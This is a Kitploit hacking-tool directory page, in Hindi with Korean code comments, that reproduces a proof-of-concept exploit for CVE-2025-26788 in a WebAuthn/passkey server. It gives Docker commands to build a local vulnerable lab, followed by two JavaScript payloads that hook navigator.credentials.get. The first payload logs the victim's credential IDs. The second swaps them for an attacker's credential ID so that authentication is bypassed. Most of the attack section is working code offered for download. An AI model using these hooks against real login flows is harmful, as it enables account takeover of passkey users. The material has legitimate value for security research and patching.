Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-26788 — CVE-2025-26788 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो WebAuthn क्रेडेंशियल आईडी हेरफेर को JavaScript हुकिंग के माध्यम से प्रदर्शित करता है, कमजोर वातावरण में प्रमाणीकरण को बायपास करने के लिए। | Kitploit
उपकरण/GitHubGitHub/jun2e0/cve-2025-26788
फ़िशिंग उपकरणशोषणवेब एप्लिकेशन शोषणप्रमाणीकरणपेलोड डेवलपमेंट
GitHubjun2e0/cve-2025-26788

CVE-2025-26788

CVE-2025-26788 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो WebAuthn क्रेडेंशियल आईडी हेरफेर को JavaScript हुकिंग के माध्यम से प्रदर्शित करता है, कमजोर वातावरण में प्रमाणीकरण को बायपास करने के लिए।

रिपॉजिटरी देखें
3 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-26788

वातावरण सेटअप

चरण 1 - Docker Desktop चलने की पुष्टि करें

docker version

चरण 2 - इमेज बिल्ड करें

cd C:\Users\jhcho\Desktop\passkey\CVE-2025-26788 docker build -t skfs .

चरण 3 - कंटेनर चलाएं

docker run -d --name skfs --hostname skfs.localdomain --privileged --cgroupns=host -v /sys/fs/cgroup:/sys/fs/cgroup:rw --tmpfs /run --tmpfs /run/lock -v /tmp:/tmp -p 389:389 -p 3306:3306 -p 4848:4848 -p 8181:8181 skfs

चरण 4 - sh फ़ाइल कॉपी करें और चलाएं

docker cp C:\Users\jhcho\Desktop\passkey\CVE-2025-26788\setup-skfs.sh skfs:/root/ docker exec -it skfs bash -c "sed -i 's/\r//' /root/setup-skfs.sh && chmod +x /root/setup-skfs.sh" docker exec -it skfs bash /root/setup-skfs.sh

चरण 5 - Windows hosts फ़ाइल में जोड़ें

C:\Windows\System32\drivers\etc\hosts 127.0.0.1 skfs.localdomain

चरण 6 - Chrome चलाएं

Start-Process "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "--ignore-certificate-errors --unsafely-treat-insecure-origin-as-secure=https://skfs.localdomain:8181

पेलोड

चरण 1 - हमलावर ID पुष्टि कोड

root@kitploit:~
// 원래 함수 백업
const originalGet = navigator.credentials.get.bind(navigator.credentials);

// 후킹
navigator.credentials.get = async function(options) {
    console.log("📌 navigator.credentials.get 호출됨!");
    console.log("전달된 옵션:", options);

    if (options && options.publicKey) {
        console.log("🔑 publicKey 옵션:", options.publicKey);

        if (options.publicKey.allowCredentials) {
            options.publicKey.allowCredentials.forEach((cred, index) => {
                console.log(`🎯 Credential[${index}] ID (raw):`, cred.id);

                // Base64 변환
                const base64Id = btoa(
                    String.fromCharCode(...new Uint8Array(cred.id))
                );
                console.log(`🎯 Credential[${index}] ID (Base64):`, base64Id);
            });
        }
    }

    return originalGet(options);
};

चरण 2 - हमलावर ID परिवर्तन कोड

root@kitploit:~
// 공격자 ID로 변경
credential ID (Base64)
const attackerBase64 = "uVElUB1cg6CgNQALpiKSJKyOeuk=";

// Base64 → ArrayBuffer 변환 함수
function base64ToArrayBuffer(base64) {
    const binary = atob(base64);
    const bytes = new Uint8Array(binary.length);
    for (let i = 0; i < binary.length; i++) {
        bytes[i] = binary.charCodeAt(i);
    }
    return bytes.buffer;
}

const attackerBuffer = base64ToArrayBuffer(attackerBase64);

// 원래 get 함수 백업
const originalGet = navigator.credentials.get.bind(navigator.credentials);

// 후킹
navigator.credentials.get = async function(options) {

    console.log("📌 victim 로그인 요청 감지");

    if (options?.publicKey?.allowCredentials) {

        options.publicKey.allowCredentials.forEach((cred, i) => {

            // victim credential ID 출력
            const victimBase64 = btoa(
                String.fromCharCode(...new Uint8Array(cred.id))
            );

            console.log(`🎯 Victim Credential[${i}] ID (Base64):`, victimBase64);

            // 🔥 공격자 ID로 변조
            cred.id = attackerBuffer;

            console.log(`🚨 Credential[${i}] ID가 공격자 ID로 변조됨 →`, attackerBase64);
        });
    }
    return originalGet(options);
};

console.log("✅ Hook 완료. 이제 victim으로 로그인 누르세요.");

स्रोत : https://github.com/EQSTLab/CVE-2025-26788

टूल डाउनलोड करें